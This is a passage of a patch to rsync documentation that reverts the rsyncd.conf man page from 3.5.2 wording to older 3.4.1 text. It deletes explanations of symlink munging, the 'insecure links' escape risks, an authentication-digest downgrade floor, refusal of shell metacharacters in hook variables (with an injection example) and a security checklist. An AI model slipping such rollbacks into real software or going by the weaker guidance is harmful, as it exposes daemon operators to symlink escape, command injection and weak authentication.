basically only one to get started, and then everything is\n+  pipelined.  This is a problem with FTP, and NFS (at least up to\n+  v3).  NFSv4 can pipeline operations, but building on that is\n+  probably a bit complicated.\n+\n+\n+Related work:\n+\n+  - mirror.pl\n+\n+  - ProFTPd\n+\n+  - Apache\n+\n+  - BitTorrent -- p2p mirroring\n+    http://bitconjurer.org/BitTorrent/\ndiff --git a/rsyncd.conf.5 b/rsyncd.conf.5\nindex 1c928d9..c2e6dae 100644\n--- a/rsyncd.conf.5\n+++ b/rsyncd.conf.5\n@@ -1,4 +1,4 @@\n-.TH \"rsyncd.conf\" \"5\" \"4 Nov 2026\" \"rsyncd.conf from rsync 3.5.2\" \"User Commands\"\n+.TH \"rsyncd.conf\" \"5\" \"15 Jan 2025\" \"rsyncd.conf from rsync 3.4.1\" \"User Commands\"\n .\\\" prefix=/usr\n .P\n .SH \"NAME\"\n@@ -61,13 +61,6 @@ You can launch it either via inetd, as a stand-alone daemon, or from an rsync\n client via a remote shell.  If run as a stand-alone daemon then just run the\n command \"\\fBrsync\\ \\-\\-daemon\\fP\" from a suitable startup script.\n .P\n-Systems using systemd can use the example unit files in the source tree's\n-\\fBpackaging/systemd\\fP directory.  The \\fBrsync.service\\fP file runs a stand-alone\n-daemon using \\fBrsync\\ \\-\\-daemon\\ \\-\\-no\\-detach\\fP, while \\fBrsync.socket\\fP and\n-\\fBrsync@.service\\fP show a socket-activated setup for incoming connections.  These\n-files may need local adjustment to match your installed rsync path, packaging\n-layout, and module policy.\n-.P\n When run via inetd you should add a line like this to /etc/services:\n .RS 4\n .P\n@@ -241,16 +234,15 @@ chrooted to the module's path), rsync does not do any path sanitizing or\n When it has to limit access to a particular subdir (either due to chroot\n being disabled or having an inside-chroot path set), rsync will munge\n symlinks (by default) and sanitize paths.  Those that dislike munged\n-symlinks can disable the symlink munging via the \"munge symlinks\"\n-parameter; incoming symlink values are then sanitized instead (see that\n-parameter).\n+symlinks (and really, really trust their users to not break out of the\n+subdir) can disable the symlink munging via the \"munge symlinks\"\n+parameter.\n .IP\n-When rsync is sanitizing paths, it resolves away the \"..\" path elements that\n-would take an arg above the module hierarchy.  For an operator-supplied\n-option path such as \\fB\\-\\-backup\\-dir\\fP & \\fB\\-\\-compare\\-dest\\fP, a leading slash is\n-also substituted with the module's path (so an absolute path is interpreted\n-as rooted in the module's \"path\" dir); for the transfer's own source\n-args a leading slash is simply dropped.\n+When rsync is sanitizing paths, it trims \"..\" path elements from args that\n+it believes would escape the module hierarchy. It also substitutes leading\n+slashes in absolute paths with the module's path (so that options such as\n+\\fB\\-\\-backup-dir\\fP & \\fB\\-\\-compare-dest\\fP interpret an absolute path as rooted in\n+the module's \"path\" dir).\n .IP\n When a chroot is in effect \\fIand\\fP the \"name converter\" parameter is\n \\fInot\\fP set, the \"numeric ids\" parameter will default to being enabled\n@@ -295,11 +287,6 @@ authorization so that any spoofing by users will not grant extra access.\n This setting is global.  If you need some modules to require this and not\n others, then you will need to setup multiple rsync daemon processes on\n different ports.\n-.IP \"\\fBproxy\\ protocol\\ hosts\\fP\"\n-This global parameter lists the socket peer IP addresses that are allowed\n-to supply a \\fBproxy\\ protocol\\fP header.  The syntax is the same token format\n-used by \\fBhosts\\ allow\\fP.  When \\fBproxy\\ protocol\\ =\\ true\\fP, this list must match\n-the direct peer before rsync trusts the forwarded client address.\n .IP \"\\fBname\\ converter\\fP\"\n This parameter lets you specify a program that will be run by the rsync\n daemon to do user & group conversions between names & ids.  This script\n@@ -323,7 +310,7 @@ just use it as documentation to implement your own.\n Enabling this parameter disables the mapping of users and groups by name\n for the current daemon module.  This prevents the daemon from trying to\n load any user/group-related files or libraries.  This enabling makes the\n-transfer behave as if the client had passed the \\fB\\-\\-numeric\\-ids\\fP\n+transfer behave as if the client had passed the \\fB\\-\\-numeric-ids\\fP\n command-line option.  By default, this parameter is enabled for chroot\n modules and disabled for non-chroot modules.  Also keep in mind that\n uid/gid preservation requires the module to be running as root (see \"uid\")\n@@ -334,70 +321,42 @@ you're using a \"name converter\" program \\fIor\\fP you've taken steps to ensure\n that the module has the necessary resources it needs to translate names and\n that it is not possible for a user to change those resources.\n .IP \"\\fBmunge\\ symlinks\\fP\"\n-This parameter tells rsync to modify all incoming symlinks the same way as\n-the (non-daemon-affecting) \\fB\\-\\-munge\\-links\\fP command-line option: it prefixes\n-each stored symlink's value with the string \"/rsyncd-munged/\".  Because that\n-directory does not normally exist, a munged symlink cannot be followed, so\n-an uploaded symlink cannot be used to read or write a file through it.  On\n-the way back out the prefix is stripped, so clients see the original symlink\n-values.  When this parameter is enabled, rsync refuses to run a module if\n-\"/rsyncd-munged/\" already exists in it as a directory or a symlink to a\n-directory.  The default depends on chroot.  For a plain chrooted module\\ \\-\\-\n-\"use chroot\" on and \"path\" with no \"/./\" split, so the daemon\n-chroots straight into the module and serves it as the chroot root\\ \\-\\- munging\n-is disabled by default, since the chroot itself already stops a symlink from\n-escaping.  In every other case it is enabled: any non-chroot module, or a\n-chroot module whose \"path\" uses a \"/./\" split to serve an inner subdir\n-below the chroot root.\n-.IP\n-When this parameter is disabled on a writable module whose access is limited\n-to a subdir (i.e. \"use chroot\" is off, or the inside-chroot path is not\n-\"/\"), an incoming symlink is not prefixed but is still sanitized as it is\n-stored: a leading slash is dropped and any leading \"..\" components that would\n-take the value above the module are removed, so a stored symlink's value\n-cannot name a path outside the module (it can still point to another name\n-inside the module).\n-.IP\n-Munging changes only the symlink VALUES that are stored.  Whether the daemon\n-follows a \\fIpre-existing\\fP in-module symlink when it resolves a transfer path\n-is a separate matter, governed by the secure path resolver that is on by\n-default; see the \"insecure links\" parameter for the exact rule and how\n-to opt out of it.\n-.IP\n+This parameter tells rsync to modify all symlinks in the same way as the\n+(non-daemon-affecting) \\fB\\-\\-munge-links\\fP command-line option (using a method\n+described below).  This should help protect your files from user trickery\n+when your daemon module is writable.  The default is disabled when\n+\"use chroot\" is on with an inside-chroot path of \"/\", OR if \"daemon chroot\"\n+is on, otherwise it is enabled.\n+.IP\n+If you disable this parameter on a daemon that is not read-only, there are\n+tricks that a user can play with uploaded symlinks to access\n+daemon-excluded items (if your module has any), and, if \"use chroot\" is\n+off, rsync can even be tricked into showing or changing data that is\n+outside the module's path (as access-permissions allow).\n+.IP\n+The way rsync disables the use of symlinks is to prefix each one with the\n+string \"/rsyncd-munged/\".  This prevents the links from being used as long\n+as that directory does not exist.  When this parameter is enabled, rsync\n+will refuse to run if that path is a directory or a symlink to a directory.\n When using the \"munge symlinks\" parameter in a chroot area that has an\n inside-chroot path of \"/\", you should add \"/rsyncd-munged/\" to the exclude\n setting for the module so that a user can't try to create it.\n .IP\n-To add or remove the \"/rsyncd-munged/\" prefix on symlinks yourself (for\n-instance on links you create locally inside a module), there is a python\n-script in the support directory of the source code named \"munge-symlinks\".\n-.IP \"\\fBinsecure\\ links\\fP\"\n-This parameter (defaulting to \"false\") controls whether the daemon resolves\n-its symlink-bearing paths with the normal symlink-race defences or with the\n-legacy follow-any-symlink behaviour.\n-.IP\n-When false (the default), the daemon refuses to follow a symlink it did not\n-create\\ \\-\\- the directory enumeration and file-content opens of the served\n-module, and the operator-supplied paths (\\fB\\-\\-backup\\-dir\\fP, \\fB\\-\\-temp\\-dir\\fP,\n-\\fB\\-\\-partial\\-dir\\fP, the alt-dest basis dirs, and so on) are all resolved with a\n-walk that follows a symlink component only when it is owned by uid\\ 0 or\n-by the uid the module runs as, refusing one planted by any other user.  A\n-client can never relax this: a client that sends \\fB\\-\\-insecure\\-links\\fP to the\n-daemon has its request refused.\n-.IP\n-Setting this parameter to \"true\" restores the pre-hardening behaviour for\n-\\fBthis module only\\fP: the daemon follows \\fBany\\fP symlink in those paths.\n-.RS 4\n-.IP\n-\\fBWARNING:\\fP enabling \"insecure links\" re-opens the symlink-escape /\n-TOCTOU vulnerabilities that the default closes (including CVE-2026-53797\n-and CVE-2026-53801): an attacker who can create a symlink inside the module\\ \\-\\- or who shares the host with the served tree\\ \\-\\- can redirect the daemon's\n-reads and writes to files \\fBoutside\\fP the module.  Enable it \\fBonly\\fP on a\n-single-tenant, fully-isolated, or otherwise trusted host where no untrusted\n-local user can plant a symlink in the served tree.  It is the daemon\n-analogue of the client's \\fB\\-\\-insecure\\-links\\fP and exists for the same narrow\n-\"I accept the risk in my isolated environment\" case.\n-.RE\n+Note:  rsync makes no attempt to verify that any pre-existing symlinks in\n+the module's hierarchy are as safe as you want them to be (unless, of\n+course, it just copied in the whole hierarchy).  If you setup an rsync\n+daemon on a new area or locally add symlinks, you can manually protect your\n+symlinks from being abused by prefixing \"/rsyncd-munged/\" to the start of\n+every symlink's value.  There is a perl script in the support directory of\n+the source code named \"munge-symlinks\" that can be used to add or remove\n+this prefix from your symlinks.\n+.IP\n+When this parameter is disabled on a writable module and \"use chroot\" is\n+off (or the inside-chroot path is not \"/\"), incoming symlinks will be\n+modified to drop a leading slash and to remove \"..\" path elements that\n+rsync believes will allow a symlink to escape the module's hierarchy.\n+There are tricky ways to work around this, though, so you had better trust\n+your users if you choose this combination of parameters.\n .IP \"\\fBcharset\\fP\"\n This specifies the name of the character set in which the module's\n filenames are stored.  If the client uses an \\fB\\-\\-iconv\\fP option, the daemon\n@@ -430,7 +389,7 @@ If the daemon fails to open the specified file, it will fall back to using\n syslog and output an error about the failure.  (Note that the failure to\n open the specified log file used to be a fatal error.)\n .IP\n-This setting can be overridden by using the \\fB\\-\\-log\\-file=FILE\\fP or\n+This setting can be overridden by using the \\fB\\-\\-log-file=FILE\\fP or\n \\fB\\-\\-dparam=logfile=FILE\\fP command-line options.  The former overrides all the\n log-file parameters of the daemon and all module settings.  The latter sets\n the daemon's log file and the default for all the modules, which still\n@@ -505,7 +464,7 @@ When set to False, this parameters ensures that files on the server are not\n opened with O_NOATIME.\n .IP\n When set to Unset (the default) the user controls the setting via\n-\\fB\\-\\-open\\-noatime\\fP.\n+\\fB\\-\\-open-noatime\\fP.\n .IP \"\\fBlist\\fP\"\n This parameter determines whether this module is listed when the client\n asks for a listing of available modules.  In addition, if this is false,\n@@ -560,7 +519,7 @@ usually runs as group root, and when this is left unset, the group is left\n unchanged. See also the \"gid\" parameter.\n .IP \"\\fBfake\\ super\\fP\"\n Setting \"fake super = yes\" for a module causes the daemon side to behave as\n-if the \\fB\\-\\-fake\\-super\\fP command-line option had been specified.  This allows\n+if the \\fB\\-\\-fake-super\\fP command-line option had been specified.  This allows\n the full attributes of a file to be stored without having to have the\n daemon actually running as root.\n .IP \"\\fBfilter\\fP\"\n@@ -581,15 +540,6 @@ prevent access to an entire subtree, for example, \"\\fB/secret\\fP\", you \\fBmust\\f\n exclude everything in the subtree; the easiest way to do this is with a\n triple-star pattern like \"\\fB/secret/***\\fP\".\n .IP\n-The filter chain matches the \\fBlogical name\\fP of each item relative to the\n-module root, not the physical file it resolves to.  It is a visibility and\n-tamper filter, \\fBnot\\fP a security boundary against symlinks: a symlink inside\n-the module whose own name is not excluded can still be followed to an excluded\n-target (the name the filter sees\\ \\-\\- e.g. \"\\fBlink\\fP\"\\ \\-\\- is not the excluded name\\ \\-\\- e.g. \"\\fBsecret\\fP\").  What protects a writable module from symlink trickery is\n-the \"munge symlinks\" parameter (enabled by default for a writable,\n-non-chrooted module), \\fBnot\\fP this filter; do not rely on \\fBexclude\\fP/\\fBfilter\\fP to\n-confine a peer who can introduce or traverse a symlink.\n-.IP\n The \"filter\" parameter takes a space-separated list of daemon filter rules,\n though it is smart enough to know not to split a token at an internal space\n in a rule (e.g. \"\\fB\\-\\ /foo\\ \\ \\-\\ /bar\\fP\" is parsed as two rules).  You may specify\n@@ -723,60 +673,16 @@ require that you specify a group password if you do not want to use shared\n passwords.\n .IP\n There is no default for the \"secrets file\" parameter, you must choose a\n-name (such as \\fB/etc/rsyncd.secrets\\fP).  Unless \"strict modes\" is\n-disabled, the file must not be readable or writable by \"other\", and (when\n-the daemon runs as root) must be owned by root; see \"strict modes\" for\n-the exact check.  If the file is not found or is rejected, no logins for an\n-\"auth users\" module will be possible.\n-.IP \"\\fBauth\\ digest\\fP\"\n-This parameter sets the \\fIminimum\\fP message digest that the daemon will accept\n-for the challenge-response authentication of an \"auth users\" module.\n-The available digests, strongest first, are \\fBsha512\\fP, \\fBsha256\\fP, \\fBsha1\\fP,\n-\\fBmd5\\fP, \\fBmd4\\fP.  The daemon selects its own most-preferred digest that also\n-appears in the connecting client's advertised list (and falls back to \\fBmd5\\fP,\n-or \\fBmd4\\fP below protocol 30, for a client that advertises none), so a client\n-that advertises only weak digests can still force a weak negotiated digest.\n-If it is weaker than the configured\n-name, the connection is refused before the challenge is sent.  The value is a\n-single digest name, for example:\n-.RS 4\n-.IP\n-.nf\n-auth digest = sha256\n-.fi\n-.RE\n-.IP\n-which requires \\fBsha256\\fP or \\fBsha512\\fP and refuses an \\fBmd5\\fP or \\fBmd4\\fP exchange.\n-.IP\n-This guards against an \\fIauth-digest downgrade\\fP.  A peer that sends no digest\n-list (any rsync before 3.2.0, including the openrsync that ships with macOS)\n-makes the daemon fall back to \\fBmd5\\fP (or \\fBmd4\\fP below protocol 30), and an\n-on-path attacker can rewrite the unauthenticated negotiation to force the same\n-weak choice.  A captured challenge-response is far cheaper to brute-force\n-offline against a weak digest, so a site whose clients are all modern can\n-require a strong one.  See the rsync \\fBSECURITY.md\\fP document for the full\n-threat model.\n-.IP\n-There is \\fBno default\\fP\\ \\-\\- the floor is off and the daemon accepts whatever\n-digest is negotiated, preserving compatibility with older clients.  Enabling a\n-floor refuses every client that cannot offer at least that digest, notably any\n-rsync older than 3.2.0 (when the SHA digests were added) and the\n-macOS-bundled openrsync, which authenticate only with \\fBmd4\\fP/\\fBmd5\\fP.  The SHA\n-digests require an rsync built with openssl at both ends; naming a digest this\n-build does not provide refuses all logins to the module (fail-closed).\n-.IP\n-Like the other auth parameters, this may be set per module or, for a default\n-that applies to every module, in the global part of the config file.\n+name (such as \\fB/etc/rsyncd.secrets\\fP).  The file must normally not be\n+readable by \"other\"; see \"strict modes\".  If the file is not found or is\n+rejected, no logins for an \"auth users\" module will be possible.\n .IP \"\\fBstrict\\ modes\\fP\"\n This parameter determines whether or not the permissions on the secrets\n-file will be checked.  If \"strict modes\" is true (the default), the secrets\n-file is rejected if it is readable or writable by \"other\" (i.e. if any of\n-the other-read or other-write permission bits is set), and, when the daemon\n-is running as root, if the file is not owned by root.  Group permissions and\n-the other-execute bit are not consulted, so modes such as 600 or 640 are\n-accepted while 644 (or any other-readable/\\-writable mode) is rejected.  If\n-\"strict modes\" is false, no permission check is performed.  This parameter\n-was added to accommodate rsync running on the Windows operating system.\n+file will be checked.  If \"strict modes\" is true, then the secrets file\n+must not be readable by any user ID other than the one that the rsync\n+daemon is running under.  If \"strict modes\" is false, the check is not\n+performed.  The default is true.  This parameter was added to accommodate\n+rsync running on the Windows operating system.\n .IP \"\\fBhosts\\ allow\\fP\"\n This parameter allows you to specify a list of comma- and/or\n whitespace-separated patterns that are matched against a connecting\n@@ -814,20 +720,6 @@ an '@' followed by a netgroup name, which will match if the reverse DNS\n of the connecting IP is in the specified netgroup.\n .RE\n .IP\n-If rsync was built with IDN support (look for \"IDN\" in \\fBrsync\\ \\-\\-version\\fP),\n-a hostname pattern may contain non-ASCII characters: this file is read as\n-UTF-8, and each non-ASCII label is converted to its IDNA A-label\n-(\"Punycode\") form before matching, since the name the daemon has for a\n-client always reaches it from DNS as ASCII.  A pattern written with\n-combining characters is normalized on the way, so it matches the same as\n-its precomposed spelling.  Only those labels change, so an address, a\n-mask, an already-punycoded name, and the wildcard characters are all\n-matched exactly as written.  A pattern that cannot be converted that way\n-is matched as it stands, and thus matches nothing.  That includes a\n-pattern whose conversion would have introduced a character it was not\n-written with, such as the U+FF0A FULLWIDTH ASTERISK that the IDNA mapping\n-turns into a \"*\".\n-.IP\n Note IPv6 link-local addresses can have a scope in the address\n specification:\n .RS 4\n@@ -901,7 +793,7 @@ specified between the percent and the escape letter (e.g.\n \"\\fB%\\-50n\\ %8l\\ %07p\\fP\").  In addition, one or more apostrophes may be specified\n prior to a numerical escape to indicate that the numerical value should be\n made more human-readable.  The 3 supported levels are the same as for the\n-\\fB\\-\\-human\\-readable\\fP command-line option, though the default is for\n+\\fB\\-\\-human-readable\\fP command-line option, though the default is for\n human-readability to be off.  Each added apostrophe increases the level\n (e.g. \"\\fB%''l\\ %'b\\ %f\\fP\").\n .IP\n@@ -928,7 +820,7 @@ protocols/versions, the checksum was salted, and is thus not a useful\n value (and is not displayed when that is the case). For the checksum to\n output for a file, either the \\fB\\-\\-checksum\\fP option must be in-effect or\n the file must have been transferred without a salted checksum being used.\n-See the \\fB\\-\\-checksum\\-choice\\fP option for a way to choose the algorithm.\n+See the \\fB\\-\\-checksum-choice\\fP option for a way to choose the algorithm.\n .IP o\n %f the filename (long form on sender; no trailing \"/\")\n .IP o\n@@ -964,7 +856,7 @@ the trailing period)\n .RE\n .IP\n For a list of what the characters mean that are output by \"%i\", see the\n-\\fB\\-\\-itemize\\-changes\\fP option in the rsync manpage.\n+\\fB\\-\\-itemize-changes\\fP option in the rsync manpage.\n .IP\n Note that some of the logged output changes when talking with older rsync\n versions.  For instance, deleted files were only output as verbose messages\n@@ -1017,7 +909,7 @@ refuse options = * !a !v !compress*\n .RE\n .IP\n Don't worry that the \"\\fB*\\fP\" will refuse certain vital options such as\n-\\fB\\-\\-dry\\-run\\fP, \\fB\\-\\-server\\fP, \\fB\\-\\-no\\-iconv\\fP, \\fB\\-\\-seclude\\-args\\fP, etc. These\n+\\fB\\-\\-dry-run\\fP, \\fB\\-\\-server\\fP, \\fB\\-\\-no-iconv\\fP, \\fB\\-\\-seclude-args\\fP, etc. These\n important options are not matched by wild-card, so they must be overridden\n by their exact name.  For instance, if you're forcing iconv transfers you\n could use something like this:\n@@ -1038,8 +930,8 @@ rsync client ever sends the actual archive option to the server.\n As an additional safety feature, the refusal of \"delete\" also refuses\n \\fBremove-source-files\\fP when the daemon is the sender; if you want the latter\n without the former, instead refuse \"\\fBdelete-*\\fP\" as that refuses all the\n-delete modes without affecting \\fB\\-\\-remove\\-source\\-files\\fP. (Keep in mind that\n-the client's \\fB\\-\\-delete\\fP option typically results in \\fB\\-\\-delete\\-during\\fP.)\n+delete modes without affecting \\fB\\-\\-remove-source-files\\fP. (Keep in mind that\n+the client's \\fB\\-\\-delete\\fP option typically results in \\fB\\-\\-delete-during\\fP.)\n .IP\n When un-refusing delete options, you should either specify \"\\fB!delete*\\fP\" (to\n accept all delete options) or specify a limited set that includes \"delete\",\n@@ -1051,7 +943,7 @@ refuse options = * !a !delete !delete-during\n .fi\n .RE\n .IP\n-\\&... whereas this accepts any delete option except \\fB\\-\\-delete\\-after\\fP:\n+\\&... whereas this accepts any delete option except \\fB\\-\\-delete-after\\fP:\n .RS 4\n .IP\n .nf\n@@ -1066,7 +958,7 @@ instead of returning an error that forces the client to remove the \\fB\\-z\\fP\n option.\n .IP\n If you are un-refusing the compress option, you may want to match\n-\"\\fB!compress*\\fP\" if you also want to allow the \\fB\\-\\-compress\\-level\\fP option.\n+\"\\fB!compress*\\fP\" if you also want to allow the \\fB\\-\\-compress-level\\fP option.\n .IP\n Note that the \"copy-devices\" & \"write-devices\" options are refused by\n default, but they can be explicitly accepted with \"\\fB!copy-devices\\fP\" and/or\n@@ -1081,27 +973,27 @@ Here are all the options that are not matched by wild-cards:\n .IP o\n \\fB\\-\\-rsh\\fP, \\fB\\-e\\fP: Required to convey compatibility flags to the server.\n .IP o\n-\\fB\\-\\-out\\-format\\fP: This is required to convey output behavior to a remote\n-receiver.  While rsync passes the older alias \\fB\\-\\-log\\-format\\fP for\n+\\fB\\-\\-out-format\\fP: This is required to convey output behavior to a remote\n+receiver.  While rsync passes the older alias \\fB\\-\\-log-format\\fP for\n compatibility reasons, this options should not be confused with\n-\\fB\\-\\-log\\-file\\-format\\fP.\n+\\fB\\-\\-log-file-format\\fP.\n .IP o\n \\fB\\-\\-sender\\fP: Use \"write only\" parameter instead of refusing this.\n .IP o\n-\\fB\\-\\-dry\\-run\\fP, \\fB\\-n\\fP: Who would want to disable this?\n+\\fB\\-\\-dry-run\\fP, \\fB\\-n\\fP: Who would want to disable this?\n .IP o\n-\\fB\\-\\-seclude\\-args\\fP, \\fB\\-s\\fP: Is the oldest arg-protection method.\n+\\fB\\-\\-seclude-args\\fP, \\fB\\-s\\fP: Is the oldest arg-protection method.\n .IP o\n-\\fB\\-\\-from0\\fP, \\fB\\-0\\fP: Makes it easier to accept/refuse \\fB\\-\\-files\\-from\\fP without\n+\\fB\\-\\-from0\\fP, \\fB\\-0\\fP: Makes it easier to accept/refuse \\fB\\-\\-files-from\\fP without\n affecting this helpful modifier.\n .IP o\n \\fB\\-\\-iconv\\fP: This is auto-disabled based on \"charset\" parameter.\n .IP o\n-\\fB\\-\\-no\\-iconv\\fP: Most transfers use this option.\n+\\fB\\-\\-no-iconv\\fP: Most transfers use this option.\n .IP o\n-\\fB\\-\\-checksum\\-seed\\fP: Is a fairly rare, safe option.\n+\\fB\\-\\-checksum-seed\\fP: Is a fairly rare, safe option.\n .IP o\n-\\fB\\-\\-write\\-devices\\fP: Is non-wild but also auto-disabled.\n+\\fB\\-\\-write-devices\\fP: Is non-wild but also auto-disabled.\n .RE\n .IP \"\\fBdont\\ compress\\fP\"\n \\fBNOTE:\\fP This parameter currently has no effect except in one instance: if\n@@ -1123,7 +1015,7 @@ for those files.  If an algorithms has the ability to change the level in\n mid-stream, it will be minimized to reduce the CPU usage as much as\n possible.\n .IP\n-See the \\fB\\-\\-skip\\-compress\\fP parameter in the \\fBrsync\\fP(1) manpage for the\n+See the \\fB\\-\\-skip-compress\\fP parameter in the \\fBrsync\\fP(1) manpage for the\n list of file suffixes that are skipped by default if this parameter is not\n set.\n .IP \"\\fBearly\\ exec\\fP, \\fBpre-xfer\\ exec\\fP, \\fBpost-xfer\\ exec\\fP\"\n@@ -1135,14 +1027,14 @@ before it begins.  Any output from the \\fBpre-xfer\\ exec\\fP command on stdout\n \\fInot\\fP displayed if the script returns success.  The other programs cannot\n send any text to the user.  All output except for the \\fBpre-xfer\\ exec\\fP\n stdout goes to the corresponding daemon's stdout/stderr, which is typically\n-discarded.  See the \\fB\\-\\-no\\-detach\\fP option for a way to see the daemon's\n+discarded.  See the \\fB\\-\\-no-detach\\fP option for a way to see the daemon's\n output, which can assist with debugging.\n .IP\n Note that the \\fBearly\\ exec\\fP command runs before any part of the transfer\n request is known except for the module name.  This helper script can be\n used to setup a disk mount or decrypt some data into a module dir, but you\n may need to use \\fBlock\\ file\\fP and \\fBmax\\ connections\\fP to avoid concurrency\n-issues.  If the client rsync specified the \\fB\\-\\-early\\-input=FILE\\fP option, it\n+issues.  If the client rsync specified the \\fB\\-\\-early-input=FILE\\fP option, it\n can send up to about 5K of data to the stdin of the early script.  The\n stdin will otherwise be empty.\n .IP\n@@ -1188,46 +1080,6 @@ server side, so this is not the final exit status for the whole transfer.\n \\fBwaitpid()\\fP.\n .RE\n .IP\n-A \\fB%VAR%\\fP reference expanded into one of these commands is escaped for the\n-quoting context it appears in, which is correct for the single shell that\n-runs the command.  It is not correct for a command that starts a SECOND\n-shell, such as \\fBsh\\ \\-c\\ '...\\ %RSYNC_USER_NAME%\\ ...'\\fP: the outer shell consumes\n-the escaping, and the inner one sees the value bare.  A value of \\fBtouc?\\fP\n-would then be glob-expanded against \\fB/usr/bin/\\fP, so the substitution is not\n-data any more\\ \\-\\- it chooses the command.\n-.IP\n-Because rsync cannot escape for an unknown number of shell passes, a value\n-carrying any character that a shell could act on is refused outright, and\n-the transfer is aborted with\n-.RS 4\n-.IP\n-.nf\n-refusing to run shell hook: %VAR% holds a shell metacharacter\n-.fi\n-.RE\n-.IP\n-The refused characters are whitespace, the quoting and expansion characters\n-\\fB'\\fP \\fB\"\\fP \\fB`\\fP \\fB$\\fP \\fB\\\\\\fP, the separators \\fB;\\fP \\fB&\\fP \\fB|\\fP, redirections \\fB<\\fP \\fB>\\fP,\n-parentheses, the pattern characters \\fB*\\fP \\fB?\\fP \\fB[\\fP \\fB]\\fP, \\fB#\\fP, \\fB!\\fP, \\fB~\\fP, \\fB{\\fP \\fB}\\fP,\n-and any control character.  Some of those are harmless on their own and are\n-refused for what a \\fIsecond\\fP shell would do with them\\ \\-\\- \\fB!\\fP negates in\n-command position, so a hook written as an access check can be turned from a\n-denial into an approval, and \\fB~\\fP is tilde-expanded.\n-.IP\n-This applies to EVERY \\fB%RSYNC_*%\\fP value, including ones you supplied\n-yourself.  In particular a module whose \\fBpath\\fP contains any of them cannot\n-be interpolated into one of these commands: \\fBpath\\ =\\ /srv/My\\ Backups\\fP with a command mentioning\n-\\fB%RSYNC_MODULE_PATH%\\fP will refuse every transfer of that module, not just a\n-hostile one.  The restriction is deliberate\\ \\-\\- rsync cannot tell your space\n-from an attacker's once both are inside the same string, and \\fBpath\\fP itself\n-may be built from a peer value such as \\fBpath\\ =\\ /home/%RSYNC_USER_NAME%\\fP.\n-.IP\n-If you need such a value in a hook, pass it through the environment instead\n-of interpolating it: the same names are exported to the command, so\n-\\fB\"$RSYNC_MODULE_PATH\"\\fP inside your script is unrestricted by this check.\n-Quote it there as shown\\ \\-\\- rsync no longer has any say in how your script\n-splits the value.\n-.IP\n Even though the commands can be associated with a particular module, they\n are run using the permissions of the user that started the daemon (not the\n module's uid/gid setting) without any chroot restrictions.\n@@ -1236,13 +1088,6 @@ These settings honor 2 environment variables: use RSYNC_SHELL to set a\n shell to use when running the command (which otherwise uses your\n \\fBsystem()\\fP call's default shell), and use RSYNC_NO_XFER_EXEC to disable\n both options completely.\n-.IP \"\\fBtemp\\ dir\\fP\"\n-Specifies a directory that rsync should use for temporary files created\n-during the transfer of updated files. If that directory is on a different\n-partition, after transfer file is being copied instead of unlinked.\n-.IP\n-This parameter equals with \\fB\\-\\-temp\\-dir\\fP option, so please consult rsync\n-manpage for further information.\n .P\n .SH \"CONFIG DIRECTIVES\"\n .P\n@@ -1311,62 +1156,13 @@ This would merge any \\fB/etc/rsyncd.d/*.inc\\fP files (for global values that sho\n stay in effect), and then include any \\fB/etc/rsyncd.d/*.conf\\fP files (defining\n modules without any global-value cross-talk).\n .P\n-.SH \"SECURITY\"\n-.P\n-An rsync daemon exposes part of your filesystem to network clients, and its\n-master process usually runs as root, so it should be configured defensively.\n-The following is a practical checklist; the project's \\fBSECURITY.md\\fP describes the\n-underlying threat model and the per-platform residuals.\n-.P\n-.IP \"\\fBConfine each module to its path.\\fP\n-Leave \"use chroot\" enabled (the default attempts a chroot) so the\n-per-connection worker is jailed inside the module's \"path\".  Where chroot\n-is unavailable rsync still resolves every transfer path so it cannot escape\n-the module through a symlinked parent, but a chroot is the stronger boundary\\ \\-\\- keep it on unless you have a specific reason not to.  A \\fBpath\\ =\\ /outer/./inner\\fP chroots to \\fB/outer\\fP while serving \\fB/inner\\fP as the module root.\"\n-.IP \"\\fBDrop privileges.\\fP\n-Give each module a low-privilege \"uid\" and \"gid\" so a worker never\n-serves files as root; only the master process needs root (to chroot and bind\n-the port).  Keep modules \"read only\" unless they must accept uploads, and\n-prefer \"numeric ids\" (or a \"name converter\") so a malicious file\n-list cannot map files to an unexpected local owner.\"\n-.IP \"\\fBRestrict who can connect.\\fP\n-Limit reachability with \"hosts allow\" / \"hosts deny\", bind the\n-daemon to a specific \"address\", and use a host firewall.  A module\n-without \"auth users\" is reachable by anyone who can reach the port.\"\n-.IP \"\\fBAuthenticate with a strong secret and digest.\\fP\n-Require login with \"auth users\" plus a \"secrets file\" that is\n-readable only by the daemon user (rsync refuses a too-open file unless\n-\"strict modes\" is disabled), and use a long, high-entropy secret.  To\n-refuse the weak MD4/MD5 challenge digests that old clients can negotiate, set\n-a floor with \"auth digest\" (for example \\fBauth\\ digest\\ =\\ sha512\\fP); see the\n-AUTHENTICATION STRENGTH section below.\"\n-.IP \"\\fBEncrypt the connection.\\fP\n-The daemon protocol authenticates but does \\fBnot\\fP encrypt the data stream.\n-Do not expose a cleartext daemon to an untrusted network: front it with a TLS\n-proxy (see the SSL/TLS Daemon Setup section below) or run it over ssh.\"\n-.IP \"\\fBKeep symlink handling safe.\\fP\n-Leave \"munge symlinks\" enabled on any writable module (it is the default)\n-so an uploaded symlink cannot redirect a later operation outside the module.\n-Do \\fBnot\\fP set \"insecure links = yes\" on a host shared with untrusted\n-local users: it disables the daemon's symlink-escape protections (re-opening\n-the symlink TOCTOU/escape vulnerabilities, including CVE-2026-53797 and\n-CVE-2026-53801) and is appropriate only on a single-tenant, fully isolated\n-host.\"\n-.IP \"\\fBRefuse options you do not want.\\fP\n-Use \"refuse options\" to reject client options a module should not allow.\"\n-.P\n .SH \"AUTHENTICATION STRENGTH\"\n .P\n-Daemon authentication is a challenge-response system in which the client\n-returns a digest of the shared secret and a server-chosen challenge.  Modern\n-rsync (3.2.7 and later, built with openssl) negotiates the strongest digest both\n-sides support\\ \\-\\- \\fBsha512\\fP by default\\ \\-\\- but for backward compatibility it falls\n-back to \\fBmd5\\fP (or \\fBmd4\\fP below protocol 30) for a client that advertises no digest\n-list, and the digest negotiation is itself unauthenticated.  A daemon that wants\n-to require a strong digest can set \"auth digest\".  For the best protection,\n-run rsync over ssh or a verified TLS transport (\\fBrsync-ssl\\fP), which protects the\n-exchange at the transport layer, and use a high-entropy shared secret (which is\n-infeasible to brute-force regardless of the digest).\n+The authentication protocol used in rsync is a 128 bit MD4 based challenge\n+response system. This is fairly weak protection, though (with at least one\n+brute-force hash-finding algorithm publicly available), so if you want really\n+top-quality security, then I recommend that you run rsync over ssh.  (Yes, a\n+future version of rsync will switch over to a stronger hashing method.)\n .P\n Also note that the rsync daemon protocol does not currently provide any\n 